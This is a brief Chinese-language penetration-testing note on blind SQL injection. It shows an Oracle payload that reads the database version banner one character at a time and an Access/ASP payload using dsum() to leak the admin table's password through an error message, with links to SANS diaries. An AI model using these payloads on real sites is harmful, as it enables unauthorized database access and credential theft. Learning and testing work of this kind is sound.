【sql inject】sql盲注技巧

SAMPLE

知识点

使用 AND 1 = 1 / 1 或者 1 = 1 / 0 判断是否存在注入，如果正确就会返回页面，如果错误就是1/0语法错误使得页面报错；

queueID = 743994 AND 1 = 1 / (select case when substr(banner, 1, 1) = 'A' then 1 else 0 end from (select banner from v$version where banner like '%Oracle%'))

reference

https://isc.sans.edu/diary/Exploiting+%28pretty%29+blind+SQL+injections/20733
https://isc.sans.edu/diary/Advanced+blind+SQL+injection+%28with+Oracle+examples%29/6409

SAMPLE

知识点

通过dsum()和dfirst()函数

/list.asp?id=123-dsum(chr(39)+cstr((select+top+1+password+from+admin)),'admin')

reference

补天会议-渗透测试技巧PPT
https://627fff.lt.yunpan.cn/lk/cSG5zCGGLtgBs
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